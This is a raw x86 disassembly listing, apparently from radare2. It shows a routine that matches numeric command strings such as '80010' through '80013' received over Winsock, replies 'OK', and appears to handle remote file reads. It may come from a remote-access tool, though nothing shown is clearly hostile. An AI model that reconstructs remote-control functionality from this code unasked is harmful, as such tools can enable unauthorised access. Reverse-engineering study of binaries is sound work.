mov ecx, eax
test ecx, ecx
je 0x429bdf
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x429bd8
push ebx
push eax
call fcn.0044cd34
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x429bc6
call fcn.0044cd34
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x14]
call fcn.0040eba2
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jne 0x429e9a
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 0
cmp eax, ecx
jl 0x429c1e
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push 0x4d99b8
mov ebx, dword [ebp - 0x24]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x429d53
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 1
cmp eax, ecx
jl 0x429c5f
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x429c7c
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44dae0
call fcn.0044cd2e
add esp, 0x10
push eax
call fcn.0042f2ce
test eax, eax
je 0x429cf8
push reloc.WS2_32.dll_connect
push 0
push 0x4d99c1
push 1
mov ebx, 0x44e1a0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.80007
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041ec3b
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429ce3
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429cf3
push ebx
call fcn.0044cd34
add esp, 4
jmp 0x429d4e
push reloc.WS2_32.dll_connect
push 0
push 0x4d99ce
push 1
mov ebx, 0x44e1a0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.80007
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041ec3b
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429d3e
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429d4e
push ebx
call fcn.0044cd34
add esp, 4
jmp 0x429e9a
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 0
cmp eax, ecx
jl 0x429d71
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push 0x4d99db
mov ebx, dword [ebp - 0x24]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x429df9
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 1
cmp eax, ecx
jl 0x429db2
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x429dcf
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44dae0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 1
push dword [ebp - 0x28]
call fcn.0042f308
jmp 0x429e9a
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 0
cmp eax, ecx
jl 0x429e17
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x2c], ebx
push 0x4d99e4
mov ebx, dword [ebp - 0x2c]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x429e9a
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 1
cmp eax, ecx
jl 0x429e58
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x429e75
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44dae0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 0
push dword [ebp - 0x28]
call fcn.0042f308
jmp 0x42c4ae
push str.80010
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42a48b
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x429ecb
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4d7920
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x429f06
mov eax, 0x4d6f24
push eax
push 3
mov ebx, 0x44e010
call fcn.0044cd2e
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429f2c
push ebx
call fcn.0044cd34
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x429f4e
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x429f4a
imul eax, dword [ebx]
jmp 0x429f3f
mov ecx, eax
test ecx, ecx
je 0x429f6d
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x429f66
push ebx
push eax
call fcn.0044cd34
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x429f54
call fcn.0044cd34
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 0
cmp eax, ecx
jl 0x429f97
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push 0x4d99f3
mov ebx, dword [ebp - 0x24]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42a035
call fcn.0042f3c2
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x429fd5
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44e1a0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429ffb
push ebx
call fcn.0044cd34
add esp, 4
lea eax, [ebp - 0x28]
push eax
mov eax, str.80010
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0041ec3b
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42a020
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a030
push ebx
call fcn.0044cd34
add esp, 4
jmp 0x42a486
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 0
cmp eax, ecx
jl 0x42a053
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push 0x4d9929
mov ebx, dword [ebp - 0x30]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42a1e2
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 1
cmp eax, ecx
jl 0x42a094
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 1
cmp eax, ecx
jl 0x42a0ba
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x28], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x28]
mov eax, dword [ebx]
test eax, eax
jne 0x42a0d7
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x42a100
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44dde0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42a126
push ebx
call fcn.0044cd34
add esp, 4
lea eax, [ebp - 0x30]
push eax
call fcn.0042f879
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42a142
push ebx
call fcn.0044cd34
add esp, 4
push dword [ebp - 0x34]
push 0x4d7920
mov ebx, dword [ebp - 0x24]
push dword [ebx]
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x42a16f
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x42a182
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44e1a0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x42a1a8
push ebx
call fcn.0044cd34
add esp, 4
lea eax, [ebp - 0x3c]
push eax
mov eax, str.80010
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
push eax
call fcn.0041ec3b
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x42a1cd
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x42a1dd
push ebx
call fcn.0044cd34
add esp, 4
jmp 0x42a486
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 0
cmp eax, ecx
jl 0x42a200
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x4d99f5
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42a28b
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 1
cmp eax, ecx
jl 0x42a241
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], esp
push 1
push 0
push 0
mov ebx, dword [ebp - 0x24]
push dword [ebx]
push 0x4d99f7
push 0
mov eax, 0x58
call fcn.0044cd22
cmp dword [ebp - 0x28], esp
je 0x42a286
push 6
call fcn.0044cd1c
add esp, 4
jmp 0x42a486
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 0
cmp eax, ecx
jl 0x42a2a9
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x2c], ebx
push 0x4d99fc
mov ebx, dword [ebp - 0x2c]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42a334
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 1
cmp eax, ecx
jl 0x42a2ea
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], esp
push 0
push 0
push 0
mov ebx, dword [ebp - 0x24]
push dword [ebx]
push 0x4d99f7
push 0
mov eax, 0x58
call fcn.0044cd22
cmp dword [ebp - 0x28], esp
je 0x42a32f
push 6
call fcn.0044cd1c
add esp, 4
jmp 0x42a486
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 0
cmp eax, ecx
jl 0x42a352
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x2c], ebx
push 0x4d99fe
mov ebx, dword [ebp - 0x2c]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42a486
push 0x80000301
push 0
push 3
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x80000301
push 0
push 3
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0042f879
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a3dd
push ebx
call fcn.0044cd34
add esp, 4
push dword [ebp - 0x2c]
push 0x4d7920
push dword [ebp - 0x24]
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42a408
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42a418
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x42a42b
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44e1a0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42a451
push ebx
call fcn.0044cd34
add esp, 4
lea eax, [ebp - 0x34]
push eax
mov eax, str.80010
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
call fcn.0041ec3b
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x42a476
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x42a486
push ebx
call fcn.0044cd34
add esp, 4
jmp 0x42c4ae
push str.80011
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42a924
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42a4c3
mov eax, 0x4d792e
push eax
push 2
mov ebx, 0x44e550
call fcn.0044cd2e
add esp, 0x1c
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push 0x80000301
push 0
push 0xa
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42a4fe
mov eax, 0x4d792e
push eax
push 3
mov ebx, 0x44e3d0
call fcn.0044cd2e
add esp, 0x28
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], ecx
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42a52a
push ebx
call fcn.0044cd34
add esp, 4
mov ecx, dword [ebp - 0x28]
cmp ecx, reloc.WS2_32.dll_connect
je 0x42a542
push 5
call fcn.0044cd1c
add esp, 4
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x42a556
push ebx
call fcn.0044cd34
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push 0x4d9a06
push dword [ebp - 0x18]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42a7ba
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42a586
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44d310
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x2c], eax
fild dword [ebp - 0x2c]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fsub qword [0x4d6e40]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
call fcn.0040147a
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42a5d1
mov eax, 0x4d792e
push eax
push 2
mov ebx, 0x44e590
call fcn.0044cd2e
add esp, 0x1c
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x42a5fa
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x42a620
push ebx
call fcn.0044cd34
add esp, 4
push 0
push 0
push 0
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x42a645
mov eax, 0x4d6f24
push eax
push 3
mov ebx, 0x44f260
call fcn.0044cd2e
add esp, 0x28
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x42a66b
push ebx
call fcn.0044cd34
add esp, 4
mov eax, dword [ebp - 0x40]
mov dword [0x503168], eax
cmp dword [0x503168], 0
jne 0x42a6db
push reloc.WS2_32.dll_connect
push 0
push 0x4d9a0d
push 1
mov ebx, 0x44e1a0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.80011
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041ec3b
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a6c6
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42a6d6
push ebx
call fcn.0044cd34
add esp, 4
jmp 0x42c4ae
push 0x80000301
push 0
push dword [0x503168]
push 1
mov ebx, 0x44f660
call fcn.0044cd2e
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x42a72b
push ebx
call fcn.0044cd34
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x1c]
push 0x4d9a14
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42a75a
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44e1a0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42a780
push ebx
call fcn.0044cd34
add esp, 4
lea eax, [ebp - 0x28]
push eax
mov eax, str.80011
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0041ec3b
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42a7a5
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a7b5
push ebx
call fcn.0044cd34
add esp, 4
jmp 0x42a91f
push str._OK_
push dword [ebp - 0x18]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42a91f
push 0
push 0
push 0
push 0x80000301
push 0
push dword [0x503168]
push 2
mov ebx, 0x44f580
call fcn.0044cd2e
add esp, 0x1c
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x42a8bf
push reloc.WS2_32.dll_connect
push 0
push 0x4d9a20
push 1
mov ebx, 0x44e1a0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x80000301
push 0
push 0x19000
push 0x80000301
push 0
push dword [0x503168]
push 2
mov ebx, 0x44f340
call fcn.0044cd2e
add esp, 0x1c
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004111a3
add esp, 8
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42a87a
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42a88a
push ebx
call fcn.0044cd34
add esp, 4
lea eax, [ebp - 0x2c]
push eax
mov eax, str.80011
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
call fcn.0041ec3b
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42a8af
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42a8bf
push ebx
call fcn.0044cd34
add esp, 4
push 0
push 0
push 0
push 0x80000301
push 0
push dword [0x503168]
push 2
mov ebx, 0x44f580
call fcn.0044cd2e
add esp, 0x1c
test eax, eax
je 0x42a91f
push 0x80000301
push 0
push dword [0x503168]
push 1
mov ebx, 0x44f280
call fcn.0044cd2e
add esp, 0x10
mov dword [0x503168], 0
mov dword [0x50316c], 0
jmp 0x42c4ae
push str.80012
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42ae32
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42a95c
mov eax, 0x4d792e
push eax
push 2
mov ebx, 0x44e550
call fcn.0044cd2e
add esp, 0x1c
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42a985
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42a9ab
push ebx
call fcn.0044cd34
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x42a9bf
push ebx
call fcn.0044cd34
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push 0x4d9a20
push dword [ebp - 0x18]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42ab74
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42a9ef
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44d310
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x2c], eax
fild dword [ebp - 0x2c]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fsub qword [0x4d6e40]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
call fcn.0040147a
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42aa3a
mov eax, 0x4d792e
push eax
push 2
mov ebx, 0x44e590
call fcn.0044cd2e
add esp, 0x1c
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x42aa63
mov eax, 0x4d792e
push eax
push 0x80000301
push 0
push dword [0x503170]
push 2
mov ebx, 0x44f480
call fcn.0044cd2e
add esp, 0x1c
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x42aa93
push ebx
call fcn.0044cd34
add esp, 4
push 0x80000301
push 0
push dword [0x503170]
push 1
mov ebx, 0x44f660
call fcn.0044cd2e
add esp, 0x10
mov dword [0x503174], eax
push 0x80000301
push 0
push dword [0x503174]
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push str._ok___
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42ab01
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42ab14
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44e1a0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42ab3a
push ebx
call fcn.0044cd34
add esp, 4
lea eax, [ebp - 0x2c]
push eax
mov eax, str.80012
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
call fcn.0041ec3b
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42ab5f
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42ab6f
push ebx
call fcn.0044cd34
add esp, 4
jmp 0x42adc8
push 0x4d9a06
push dword [ebp - 0x18]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42adc8
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42aba0
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4d7920
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42abdb
mov eax, 0x4d6f24
push eax
push 3
mov ebx, 0x44e010
call fcn.0044cd2e
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42ac01
push ebx
call fcn.0044cd34
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42ac23
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42ac1f
imul eax, dword [ebx]
jmp 0x42ac14
mov ecx, eax
test ecx, ecx
je 0x42ac42
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x42ac3b
push ebx
push eax
call fcn.0044cd34
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42ac29
call fcn.0044cd34
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 2
cmp eax, ecx
jl 0x42ac6c
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push 0
push 0
push 0
push 0x80000301
push 0
push 5
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x42ac9b
mov eax, 0x4d6f24
push eax
push 3
mov ebx, 0x44f260
call fcn.0044cd2e
add esp, 0x28
mov dword [0x503170], eax
mov ebx, dword [ebp - 0x14]
call fcn.0040131c
mov eax, 1
cmp eax, ecx
jl 0x42acd1
push 1
call fcn.0044cd1c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x42acee
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44dae0
call fcn.0044cd2e
add esp, 0x10
mov dword [0x503178], eax
mov dword [0x503174], 0
push 0x80000301
push 0
push dword [0x503174]
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push str._ok___
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42ad5a
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42ad6d
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44e1a0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42ad93
push ebx
call fcn.0044cd34
add esp, 4
lea eax, [ebp - 0x2c]
push eax
mov eax, str.80012
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
call fcn.0041ec3b
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42adb8
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42adc8
push ebx
call fcn.0044cd34
add esp, 4
cmp dword [0x503178], 0
je 0x42aded
mov eax, dword [0x503174]
cmp dword [0x503178], eax
jne 0x42aded
mov eax, 1
jmp 0x42adf2
mov eax, 0
test eax, eax
je 0x42ae2d
push 0x80000301
push 0
push dword [0x503170]
push 1
mov ebx, 0x44f280
call fcn.0044cd2e
add esp, 0x10
mov dword [0x503170], 0
mov dword [0x503178], 0
jmp 0x42c4ae
push str.80013
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42b064
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42ae5e
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.OP
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42ae99
mov eax, 0x4d6f24
push eax
push 3
mov ebx, 0x44e010
call fcn.0044cd2e
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42aebf
push ebx
call fcn.0044cd34
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42aee1
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42aedd
imul eax, dword [ebx]
jmp 0x42aed2
mov ecx, eax
test ecx, ecx
je 0x42af00
push ecx
